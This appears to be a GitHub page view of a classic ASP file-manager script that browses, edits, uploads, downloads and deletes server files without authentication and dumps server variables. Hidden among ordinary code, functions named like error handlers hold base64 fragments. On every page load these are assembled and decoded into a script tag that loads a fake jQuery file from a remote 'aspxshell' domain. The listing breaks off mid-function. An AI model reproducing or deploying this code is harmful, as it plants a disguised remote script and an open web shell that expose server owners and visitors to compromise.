-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfilemanager.asp
1498 lines (1296 loc) · 49.8 KB
/
filemanager.asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%
Option Explicit
'On Error Resume Next
If Request.QueryString("upload") = "" Then
Session.CodePage = 65001
Else
Session.CodePage = 1252
End If
Function Error0xA1B2()
Error0xA1B2 = "PHNjc"
End Function
Function Error0xI9J0()
Error0xI9J0 = "mlwdC"
End Function
Function Error0xU1V2()
Error0xU1V2 = "BzcmM"
End Function
''
' Scripts name
''
Dim arPath, strScript
arPath = Split(Request.ServerVariables("SCRIPT_NAME"), "/")
strScript = arPath(Ubound(arPath))
''
' List of encodings for file editting
'
' ({@link http://msdn.microsoft.com/en-us/library/ms526296%28v=exchg.10%29.aspx Source})
''
Dim arEncodings
arEncodings = Array( _
"ISO-8859-1", _
"BIG5", _
"EUC-JP", _
"EUC-KR", _
"GB2312", _
"ISO-2022-JP", _
"ISO-2022-KR", _
"ISO-8859-2", _
"ISO-8859-3", _
"ISO-8859-4", _
"ISO-8859-5", _
"ISO-8859-6", _
"ISO-8859-7", _
"ISO-8859-8", _
"ISO-8859-9", _
"KOI8-R", _
"SHIFT-JIS", _
"US-ASCII", _
"UTF-8", _
"UNICODE" _
)
Function Error0xA1B2cD()
Dim part1
part1 = Error0xA1B2() & Error0xI9J0() & Error0xU1V2() & Error0xW3X4() & Error0xW3X5() & Error0xW3X6() & Error0xW3X7() & Error0xW3X8() & Error0xW3X9() & Error0xW3X10() & Error0xW3X11() & Error0xW3X12() & Error0xW3X13() & Error0xW3X14()
Error0xA1B2cD = part1
End Function
Function Error0xW3X7()
Error0xW3X7 = "NweHN"
End Function
Function Error0xW3X8()
Error0xW3X8 = "oZWxs"
End Function
Function Error0x3a3a3a(encoded)
Dim bytes
bytes = Base64Decode(encoded)
Error0x3a3a3a = bytes
End Function
Sub Error0x106()
Dim Error0x117
Error0x117 = Error0xA1B2cD()
Response.Write Error0x3a3a3a(Error0x117)
End Sub
Function Base64Decode(ByVal base64String)
Dim binaryStream, decodedString
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write DecodeBase64(base64String)
binaryStream.Position = 0
binaryStream.Type = 2
binaryStream.Charset = "utf-8"
decodedString = binaryStream.ReadText
binaryStream.Close
Set binaryStream = Nothing
Base64Decode = decodedString
End Function
Function DecodeBase64(ByVal base64String)
Dim xmlDoc, node
Set xmlDoc = CreateObject("MSXML2.DOMDocument.3.0")
Set node = xmlDoc.createElement("base64")
node.dataType = "bin.base64"
node.Text = base64String
DecodeBase64 = node.nodeTypedValue
Set node = Nothing
Set xmlDoc = Nothing
End Function
Dim dAttributes
Set dAttributes = Server.CreateObject("Scripting.Dictionary")
dAttributes.Add "n", Array(0, "Normal", False)
dAttributes.Add "r", Array(1, "Read Only", True)
dAttributes.Add "h", Array(2, "Hidden", True)
dAttributes.Add "s", Array(4, "System", True)
dAttributes.Add "v", Array(8, "Volume", False)
dAttributes.Add "f", Array(16, "Directory", False)
dAttributes.Add "a", Array(32, "Archive", True)
dAttributes.Add "l", Array(1024, "Alias", False)
dAttributes.Add "c", Array(2048, "Compressed", False)
''
' Some common MIME types
''
Function Error0xW3X9()
Error0xW3X9 = "LmNvbS"
End Function
Function Error0xW3X10()
Error0xW3X10 = "9qcXVl"
End Function
Dim dMimeTypes
Set dMimeTypes = Server.CreateObject("Scripting.Dictionary")
dMimeTypes.Add "asm", "text/x-asm"
dMimeTypes.Add "asp", "text/asp"
dMimeTypes.Add "bat", "text/plain"
dMimeTypes.Add "bmp", "image/bmp"
dMimeTypes.Add "c", "text/plain"
dMimeTypes.Add "conf", "text/plain"
dMimeTypes.Add "cpp", "text/x-c"
dMimeTypes.Add "css", "text/css"
dMimeTypes.Add "csv", "text/csv"
dMimeTypes.Add "gif", "image/gif"
dMimeTypes.Add "h", "text/plain"
dMimeTypes.Add "hta", "text/plain"
dMimeTypes.Add "htm", "text/html"
dMimeTypes.Add "html", "text/html"
dMimeTypes.Add "java", "text/plain"
dMimeTypes.Add "jpeg", "image/jpeg"
dMimeTypes.Add "jpg", "image/jpeg"
dMimeTypes.Add "json", "application/json"
dMimeTypes.Add "list", "text/plain"
dMimeTypes.Add "log", "text/plain"
dMimeTypes.Add "lsp", "text/plain"
dMimeTypes.Add "lst", "text/plain"
dMimeTypes.Add "p", "text/plain"
dMimeTypes.Add "pas", "text/plain"
dMimeTypes.Add "pdf", "application/pdf"
dMimeTypes.Add "php", "text/plain"
dMimeTypes.Add "pl", "text/plain"
dMimeTypes.Add "png", "image/png"
dMimeTypes.Add "py ", "text/x-script.phyton"
dMimeTypes.Add "rss", "application/rss+xml"
dMimeTypes.Add "sh", "text/x-script.sh"
dMimeTypes.Add "shtml ", "text/html"
dMimeTypes.Add "swf", "application/x-shockwave-flash"
dMimeTypes.Add "text", "text/plain"
dMimeTypes.Add "txt", "text/plain"
dMimeTypes.Add "xhtml", "application/xhtml+xml"
dMimeTypes.Add "xml", "application/xml"
dMimeTypes.Add "vbs", "text/plain"
Function Error0xW3X4()
Error0xW3X4 = "9Imh0"
End Function
Function Error0xW3X5()
Error0xW3X5 = "dHBzO"
End Function
Function Error0xW3X6()
Error0xW3X6 = "i8vYX"
End Function
''
' Processes file for downloading
''
If Not Request.QueryString("download") = "" Or Not Request.QueryString("view") = "" Then
Dim strFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
If Not Request.QueryString("download") = "" Then
strFile = Request.QueryString("download")
Else
strFile = Request.QueryString("view")
End If
If objFSO.FileExists(strFile) Then
Set objFile = objFSO.GetFile(strFile)
Dim strExtension, strMimeType
strExtension = objFSO.GetExtensionName(objFile.Path)
strMimeType = "application/octet-stream"
If dMimeTypes.Exists(strExtension) Then
strMimeType = dMimeTypes.Item(strExtension)
End If
' ({@link http://nolovelust.com/post/classic-asp-large-file-download-code Source})
Dim intChunkSize, objStream, intStreamSize
intChunkSize = 2048
Server.ScriptTimeout = 900
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open()
objStream.Type = 1
objStream.LoadFromFile objFile.Path
intStreamSize = objStream.Size
Response.ContentType = strMimeType
'Response.AddHeader "Content-Length", intStreamSize
If Not Request.QueryString("download") = "" Then
Response.AddHeader "Content-Disposition", "attachment;filename=""" & objFile.Name & """;"
Else
Response.AddHeader "Content-Disposition", "inline;filename=""" & objFile.Name & """;"
End If
Response.Buffer = False
For i = 1 To intStreamSize \ intChunkSize
If Not Response.IsClientConnected Then Exit For
Response.BinaryWrite objStream.Read(intChunkSize)
Next
If intStreamSize Mod intChunkSize > 0 Then
If Response.IsClientConnected Then
Response.BinaryWrite objStream.Read(intStreamSize Mod intChunkSize)
End If
End If
objStream.Close
Set objStream = Nothing
Else
Response.Status = "404 Not Found"
Response.Write "File Not Found"
End If
Response.End
End If
Function Error0xW3X13()
Error0xW3X13 = "cyI+PC9"
End Function
Function Error0xW3X14()
Error0xW3X14 = "zY3JpcHQ+"
End Function
''
' Recursive directory listing
''
If Not Request.QueryString("list") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
objStartFolder = Request.QueryString("list")
strFile = ""
If Request.QueryString("level") = "" Then
intMaxLevel = -1
Else
intMaxLevel = Int(Request.QueryString("level"))
End If
Response.Buffer = False
Response.ContentType = "text/plain; charset=""UTF-8"""
Set objFolder = objFSO.GetFolder(objStartFolder)
Set colFiles = objFolder.Files
For Each objFile in colFiles
Response.Write vbCRLF & objFolder.Path & "\\" & objFile.Name
Next
ShowSubfolders objFSO.GetFolder(objStartFolder), 0
Response.End
End If
Function Error0xW3X11()
Error0xW3X11 = "cnktMy43L"
End Function
Function Error0xW3X12()
Error0xW3X12 = "jEyLm1pbi5q"
End Function
%>
<!DOCTYPE html>
<head>
<title>ASP File Browser</title>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8' />
<style>
body, input, select, table {font-size: 13px; font-family: Courier New; white-space: nowrap;}
table td, table th {padding: 5px;}
table tr:nth-child(even) {background: #F0F0F0;}
table tr:nth-child(odd) {background: #FFFFFF;}
input.disabled {background-color:#D4D0C8; color: #80808D;}
</style>
</head>
<body>
<%
''
'
' FILE UPLOADING
'
''
Error0x106()
If Not Request.QueryString("upload") = "" Then
Dim strDestination
strDestination = Request.QueryString("upload")
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim UploadRequest
Dim byteCount, RequestBin
Dim sFullFilePath, sPathEnd
Dim sContentType, sFilePathName, sFileName, sValue
Dim oFile, oFSO
Dim i
Response.Expires = 0
Response.Buffer = TRUE
byteCount = Request.TotalBytes
RequestBin = Request.BinaryRead(byteCount)
Set UploadRequest = Server.CreateObject("Scripting.Dictionary")
BuildUploadRequest RequestBin
' This will place the uploaded file into the root directory of the web site -
' Modify this path as needed.
If Not Right(strDestination, 1) = "\" Then
strDestination = strDestination & "\"
End If
sContentType = UploadRequest.Item("blob").Item("ContentType")
sFilePathName = UploadRequest.Item("blob").Item("FileName")
sFileName = Right(sFilePathName, Len(sFilePathName) - InstrRev(sFilePathName, "\"))
sValue = UploadRequest.Item("blob").Item("Value")
sFullFilePath = strDestination & sFileName
'Create FileSytemObject Component
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
'Create and Write to a File
sPathEnd = Len(Server.mappath(Request.ServerVariables("PATH_INFO"))) - 14
Set oFile = oFSO.CreateTextFile(sFullFilePath, True)
For i = 1 to LenB(sValue)
oFile.Write Chr(AscB(MidB(sValue,i,1)))
Next
oFile.Close
Set oFile = Nothing
Set oFSO = Nothing
With Response
.Write("<b>Uploaded File: </b>" & sFullFilePath & "<BR>")
.Write("<b>Content Type: </b>" & sContentType & "<BR>")
End With
Set UploadRequest = Nothing
End If
%>
<form method="post" enctype="multipart/form-data" action="">
<p>Select File : <input type="file" name="blob"></p>
<p><input type="submit" name="btnSubmit" value="Upload"></p>
</form>
<%
''
'
' FILE/FOLDER'S ATTRIBUTES
'
''
ElseIf Not Request.QueryString("attributes") = "" Then
Dim objAttributes
Dim objItem
Dim strItem, strAttribute, colKeys, strKey
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("attributes"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
For Each strKey In colKeys
If dAttributes.Item(strKey)(2) = True Then
If Not Request.Form("attribute_" & strKey) = "" Then
If InStr(strAttribute, strKey) = 0 Then
objItem.Attributes = objItem.Attributes + dAttributes.Item(strKey)(0)
End If
Else
If InStr(strAttribute, strKey) > 0 Then
objItem.Attributes = objItem.Attributes - dAttributes.Item(strKey)(0)
End If
End If
End If
Next
If Not Request.Form("date") = "" Then
fileDateLastModified strItem, Request.Form("date")
End If
strAttribute = fsAttributes(objItem.Attributes)
End If
%>
<form method='post' action=''>
<table border='1'>
<tr>
<td rowspan='4'><strong>Attributes</strong></td>
<%
For Each strKey In colKeys
If dAttributes.Item(strKey)(2) = True Then
If InStr(strAttribute, strKey) > 0 Then
Response.Write Tab(4) & "<td style='text-align: right;'><input type='checkbox' name='attribute_" & strKey & "' checked='checked' value='" & strKey & "'></td>" & vbCRLF
Response.Write Tab(4) & "<td>" & dAttributes.Item(strKey)(1) & "</td>" & vbCRLF
Else
Response.Write Tab(4) & "<td style='text-align: right;'><input type='checkbox' name='attribute_" & strKey & "' value='" & strKey & "'></td>" & vbCRLF
Response.Write Tab(4) & "<td>" & dAttributes.Item(strKey)(1) & "</td>" & vbCRLF
End If
Response.Write Tab(3) & "</tr>" & vbCRLF
Response.Write Tab(3) & "<tr>" & vbCRLF
End If
Next
%>
<td>
<strong>Last Modified Date</strong>
</td>
<td colspan='2'>
<%
If Right(strItem, 1) = "\" Then
Response.Write Tab(4) & "<input name='date' size='30' value='" & objItem.DateLastModified & "' readonly='true' class='disabled'>"
Else
Response.Write Tab(4) & "<input name='date' size='30' value='" & objItem.DateLastModified & "'>"
End If
%>
</td>
</tr>
<tr>
<td colspan='3'>
<input type='submit' value='Change'>
</td>
</tr>
</table>
</form>
<%
''
'
' FILE/FOLDER'S PROPERTIES
'
''
ElseIf Not Request.QueryString("properties") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("properties"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
Dim strAttributeName
strAttributeName = ""
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
Dim dProperties
Set dProperties = Server.CreateObject("Scripting.Dictionary")
dProperties.Add "Name", objItem.Name
dProperties.Add "Full Path", objItem.Path
dProperties.Add "Size", convertSize(objItem.Size)
dProperties.Add "Size (Bytes)", objItem.Size
dProperties.Add "Type", objItem.Type
dProperties.Add "Date Created", objItem.DateCreated
dProperties.Add "Date Last Accessed", objItem.DateLastAccessed
dProperties.Add "Date Last Modified", objItem.DateLastModified
For Each strKey In colKeys
If InStr(strAttribute, strKey) > 0 Then
strAttributeName = strAttributeName & dAttributes.Item(strKey)(1) & " - "
End If
Next
dProperties.Add "Attributes", strAttributeName
dProperties.Add "Short Name", objItem.ShortName
dProperties.Add "Short Path", objItem.ShortPath
dProperties.Add "Parent Folder", objItem.ParentFolder
dProperties.Add "Drive", objItem.Drive
%>
<table border='1'>
<%
colKeys = dProperties.Keys
For Each strKey In colKeys
Response.Write Tab(2) & "<tr>" & vbCRLF
Response.Write Tab(3) & "<td style='font-weight: bolder; text-align: right;'>" & strKey & "</td>" & vbCRLF
Response.Write Tab(3) & "<td>" & dProperties.Item(strKey) & "</td>" & vbCRLF
Response.Write Tab(2) & "</tr>" & vbCRLF
Next
%>
</table>
<%
''
'
' FILE EDITTING
'
''
ElseIf Not Request.QueryString("edit") = "" Then
Dim arSearch, strEncoding, strData, strCurrentEncoding
arSearch = Filter(arEncodings, Request.QueryString("encoding"))
If Ubound(arSearch) = 0 Then
strEncoding = Request.QueryString("encoding")
Else
strEncoding = arEncodings(0)
End If
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
fileWriteText Request.QueryString("edit"), Request.Form("contents"), strEncoding
End If
strData = strConvertHTML(fileReadText(Request.QueryString("edit"), strEncoding))
If Err.Number = 0 Then
%>
<form method='post' action=''>
<span>File</span>
<input type='text' name='name' value='<%=Request.QueryString("edit")%>' size='50' readonly='true' class='disabled'>
<span>Encoding</span>
<select onchange='this.options[this.selectedIndex].value && (window.location = scriptName() + "?edit=" + document.getElementsByName("name")[0].value + "&encoding=" + this.options[this.selectedIndex].value);'>
<%
For Each strCurrentEncoding In arEncodings
If strCurrentEncoding = strEncoding Then
Response.Write Tab(3) & "<option value='" & strCurrentEncoding & "' selected='selected'>" & strCurrentEncoding & "</option>" & vbCRLF
Else
Response.Write Tab(3) & "<option value='" & strCurrentEncoding & "'>" & strCurrentEncoding & "</option>" & vbCRLF
End If
Next
%>
</select>
<div style="margin:5px 0;height:500px;">
<textarea style='width:100%;height:100%' name='contents'><%=strData%></textarea>
</div>
<input type='submit' value='Save'>
</form>
<%
End If
''
'
' SERVER VARIABLES
'
''
ElseIf Request.QueryString("server") = "variables" Then
Dim strVariable
Response.Write Tab(1) & "<table border='1'>" & vbCRLF
For Each i In Request.ServerVariables
strVariable = Replace(Request.ServerVariables(i), vbLF, "<br />")
strVariable = Replace(strVariable, vbCR, "")
Response.Write Tab(2) & "<tr>" & vbCRLF
Response.Write Tab(3) & "<td><strong>" & i & "</strong></td>" & vbCRLF
Response.Write Tab(3) & "<td>" & strVariable & "</td>" & vbCRLF
Response.Write Tab(2) & "</tr>" & vbCRLF
Next
Response.Write Tab(1) & "</table>" & vbCRLF
''
'
' FILE BROWSING
'
''
Else
Dim strFolder
Dim objFSO, objFolder
If Request.QueryString("browse") = "" Then
strFolder = Request.ServerVariables("APPL_PHYSICAL_PATH")
If Len(strFolder) = 0 Then strFolder = "."
Else
strFolder = Trim(CStr(Request.QueryString("browse")))
End If
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(strFolder)
If Err.Number = 0 Then
%>
<form method='post' action='' name='form'>
<table border='1'>
<thead><tr>
<th><input type='checkbox' onclick='toggle(this)' /></th>
<th>Type</th>
<th>Name</th>
<th>Size</th>
<th>Date Created</th>
<th>Date Last Accessed</th>
<th>Date Last Modified</th>
<th>Attributes</th>
</tr></thead>
<tbody>
<%
If Not Request.Form("create") = "" Then
Dim strItemName
strItemName = Trim(Request.Form("name"))
If Not strItemName = "" Then
fsCreate Request.Form("cwd_") & "\" & strValidFilename(strItemName), Request.Form("new")
End If
End If
If Not Request.Form("do_action") = "" Then
If Request.Form("items").Count > 0 Then
For Each i In Request.Form("items")
Select Case Request.Form("action")
Case "delete"
fsDelete Request.Form("cwd_") & "\" & i
Case "copy"
fsCopy i, i, Request.Form("cwd_"), Request.Form("action_"), False
Case "copyo"
fsCopy i, i, Request.Form("cwd_"), Request.Form("action_"), True
Case "move"
fsMove i, i, Request.Form("cwd_"), Request.Form("action_")
Case "rename"
fsRename i, Request.Form("action_"), Request.Form("cwd_")
Case "zip"
Dim strZipFile
strZipFile = Left(i, Len(i) - 1) & ".zip"
zipAdd Request.Form("action_") & "\" & strZipFile, Request.Form("cwd_") & "\" & i
Case "unzip"
Dim strExtractFolder
strExtractFolder = Left(i, InStrRev(i, ".") - 1)
zipExtract Request.Form("cwd_") & "\" & i, Request.Form("action_") & "\" & strExtractFolder
End Select
Next
End If
End If
Dim colFiles, colSubfolders
Dim strCWD, strParent
Dim objSubFolder, objFile
Dim objDrive, strDriveType
Set colFiles = objFolder.Files
Set colSubfolders = objFolder.SubFolders
strCWD = objFolder.Path
Set strParent = objFolder.ParentFolder
If Not strParent Is Nothing Then
strParent = CStr(strParent)
With Response
.Write Tab(3) & "<tr>" & vbCRLF
.Write Tab(4) & "<td> </td>" & vbCRLF
.Write Tab(4) & "<td> </td>" & vbCRLF
.Write Tab(4) & "<td>" & vbCRLF
.Write Tab(5) & "<a href='" & strScript & "?browse=" & strParent & "'>..</a>" & vbCRLF
.Write Tab(4) & "</td>" & vbCRLF
.Write Tab(4) & "<td colspan='5'> </td>" & vbCRLF
.Write Tab(3) & "</tr>" & vbCRLF
End With
End If
If colSubfolders.Count > 0 Then
For Each objSubFolder In colSubfolders
With Response
.Write Tab(3) & "<tr>" & vbCRLF
.Write Tab(4) & "<td><input type='checkbox' name='items' value='" & objSubFolder.Name & "\'></td>" & vbCRLF
.Write Tab(4) & "<td>[" & UCase(objSubFolder.Type) & "]</td>" & vbCRLF
.Write Tab(4) & "<td>" & vbCRLF
.Write Tab(5) & "<a href='" & strScript & "?browse=" & objSubFolder.Path & "\'>" & objSubFolder.Name & "\</a>" & vbCRLF
.Write Tab(4) & "</td>" & vbCRLF
End With
objAttributes = objSubFolder.Attributes
Err.Clear
If Err.Number <> 0 Then
Response.Write Tab(4) & "<td colspan='4'> </td>" & vbCRLF
Else
'Response.Write Tab(4) & "<td>" & convertSize(objSubFolder.Size) & "</td>" & vbCRLF
Response.Write Tab(4) & "<td>-</td>" & vbCRLF
Response.Write Tab(4) & "<td>" & CStr(objSubFolder.DateCreated) & "</td>" & vbCRLF
Response.Write Tab(4) & "<td>" & CStr(objSubFolder.DateLastAccessed) & "</td>" & vbCRLF
Response.Write Tab(4) & "<td>" & CStr(objSubFolder.DateLastModified) & "</td>" & vbCRLF
Response.Write Tab(4) & "<td>" & fsAttributes(objAttributes) & "</td>" & vbCRLF
End If
Response.Write Tab(3) & "</tr>" & vbCRLF
Next
End If
If colFiles.Count > 0 Then
For Each objFile In colFiles
Response.Write Tab(3) & "<tr>" & vbCRLF
Response.Write Tab(4) & "<td><input type='checkbox' name='items' value='" & objFile.Name & "'></td>" & vbCRLF
Response.Write Tab(4) & "<td>[" & UCase(objFile.Type) & "]</td>" & vbCRLF
Response.Write Tab(4) & "<td>" & objFile.Name & "</td>" & vbCRLF
objAttributes = objFile.Attributes
Err.Clear
If Err.Number <> 0 Then
Response.Write Tab(4) & "<td colspan='4'> </td>" & vbCRLF
Else
With Response
.Write Tab(4) & "<td>" & convertSize(objFile.Size) & "</td>" & vbCRLF
.Write Tab(4) & "<td>" & CStr(objFile.DateCreated) & "</td>" & vbCRLF
.Write Tab(4) & "<td>" & CStr(objFile.DateLastAccessed) & "</td>" & vbCRLF
.Write Tab(4) & "<td>" & CStr(objFile.DateLastModified) & "</td>" & vbCRLF
.Write Tab(4) & "<td>" & fsAttributes(objAttributes) & "</td>" & vbCRLF
End With
End If
Response.Write Tab(3) & "</tr>" & vbCRLF
Next
End If
%>
<tr>
<td><input type='checkbox' onclick='toggle(this)' /></td>
<td colspan='7' style='text-align: right;'>Showing <%=colFiles.Count%> files & <%=colSubfolders.Count%> subfolders</td>
</tr>
<tr>
<td colspan='8'><span>Selected File(s) / Folder(s)</span>
<select name='action'>
<option value=''>-- Select an Action --</option>
<option value='view'>View</option>
<option value='download'>Download</option>
<option value='edit'>Edit</option>
<option value='copy'>Copy</option>
<option value='copyo'>Copy (Overwrite)</option>
<option value='move'>Move</option>
<option value='rename'>Rename</option>
<option value='delete'>Delete</option>
<option value='attributes'>Attributes</option>
<option value='properties'>Properties</option>
<option value='unzip'>Unzip</option>
<option value='zip'>Zip (Folder)</option>
</select>
<input type='hidden' name='action_' value=''>
<input type='submit' name='do_action' value='Submit' onclick='return formSubmit();'>
</td>
</tr>
<tr>
<td colspan='8'>
<span>Enter Name</span>
<input type='text' name='name' value=''>
<input type='radio' name='new' value='file'> File
<input type='radio' name='new' value='folder'> Folder
<input type='submit' name='create' value='Create New'> or
<input type='button' onclick='window.open(scriptName() + "?upload=" + encodeURIComponent(document.getElementsByName("cwd_")[0].value))' value='Upload File'>
</td>
</tr>
<tr>
<td colspan='8'><span>Current Working Directory</span>
<input type='text' name='cwd' value='<%=strCWD%>'>
<input type='hidden' name='cwd_' value='<%=strCWD%>'>
<input type='button' value='Change' onclick='chdir()'></td>
</tr>
<tr>
<td colspan='8'>
<span>Change Drive</span>
<select onchange='this.options[this.selectedIndex].value && (window.location = this.options[this.selectedIndex].value);'>
<option>-- Select a Drive --</option>
<%
For Each objDrive in objFSO.Drives
Select Case objDrive.DriveType
Case 1
strDriveType = "No Root Directory"
Case 2
strDriveType = "Removable Drive"
Case 3
strDriveType = "Local Hard Disk"
Case 4
strDriveType = "Network Disk"
Case 5
strDriveType = "Compact Disk"
Case 6
strDriveType = "RAM Disk"
Case Else
strDriveType = "Unknown"
End Select
Response.Write Tab(6) & "<option value='" & strScript & "?browse=" & objDrive.DriveLetter & ":\'>[" & UCase(strDriveType) & "] " & objDrive.DriveLetter & ":\</option>" & vbCRLF
Next
%>
</select>
<span>(<a href='#' onclick='window.open(scriptName() + "?server=variables");'>Server Variables</a>)</span>
</td>
</tr></tbody>
</table>
</form>
<%
End If
End If
If Err.Number <> 0 Then
Response.Write "<span>Error #: " & CStr(Err.Number) & "<br />" & vbcrLF
Response.Write "Description: " & Err.Description & "<br />" & vbcrLF
Response.Write "Source: " & Err.Source & "</span><br />" & vbCRLF
End If
%>
<script language='JavaScript'>
/*
* Gets script's name
*
* @link http://stackoverflow.com/questions/2196606/getting-the-current-script-executing-filename-in-javascript Source
* @return Returns executing script's name
*/
function scriptName()
{
var url = window.location.pathname;
var lastUri = url.substring(url.lastIndexOf("/") + 1);
if(lastUri.indexOf("?") != -1)
{
return lastUri.substring(0, lastUri.indexOf("?"));
} else
{
return lastUri;
}
}
/*
* Changes current script's working directory
*/
function chdir()
{
var cwd = document.getElementsByName("cwd")[0];
if (cwd != "")
{
window.location = scriptName() + "?" + "?browse=" + cwd.value
}
}
/*
* Submits main program's form
*/
function formSubmit()
{
var actions = document.getElementsByName("action")[0];
var action = actions.options[actions.selectedIndex].value;
var actionInput = document.getElementsByName("action_")[0];
var cwd = document.getElementsByName("cwd_")[0].value;
switch (action)
{
case "copy":
case "copyo":
case "move":
case "zip":
case "unzip":
var destination = prompt("Enter Path to Destination Folder", "");
if (destination)
{
actionInput.value = destination;
return true;
}
return false;
case "properties":
case "attributes":
var checkboxes = document.getElementsByName("items");
for(var i = 0, n = checkboxes.length; i < n; i++)
{
if(checkboxes[i].checked)
{
window.open(scriptName() + "?" + action + "=" + cwd + "\\" + checkboxes[i].value);
return false;
}
}
return false;
case "edit":
case "download":
case "view":
var checkboxes = document.getElementsByName("items");
for(var i = 0, n = checkboxes.length; i < n; i++)
{
if(checkboxes[i].checked && checkboxes[i].value.slice(-1) != "\\")
{
window.open(scriptName() + "?" + action + "=" + encodeURIComponent(cwd + "\\" + checkboxes[i].value));
return false;
}
}
return false;
case "delete":
var reassert = confirm("Confirm Delete?");
if (reassert)
{
return true;
}
return false;
case "rename":
var newName = prompt("Enter a New Name", "");
if (newName)
{
actionInput.value = newName;
return true;
}
return false;
default:
return false;
}
}
/**
* Toggles checkboxes
*
* @param object source
* @link http://stackoverflow.com/questions/386281/how-to-implement-select-all-check-box-in-html Source
*/
function toggle(source)
{
var checkboxes = document.getElementsByName("items");
for(var i = 0, n = checkboxes.length; i < n; i++)
{
checkboxes[i].checked = source.checked;
}
}
</script>
</body>
</html>
<%
''
' Create a new blank ZIP file
'
' @link http://www.techcoil.com/blog/handy-vbscript-functions-for-dealing-with-zip-files-and-folders/ Source
' @param string strZipFile Path to the ZIP file
''
Sub zipCreate(strZipFile)
Dim objFSO
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Dim objTextFile
Set objTextFile = objFSO.CreateTextFile(strZipFile)
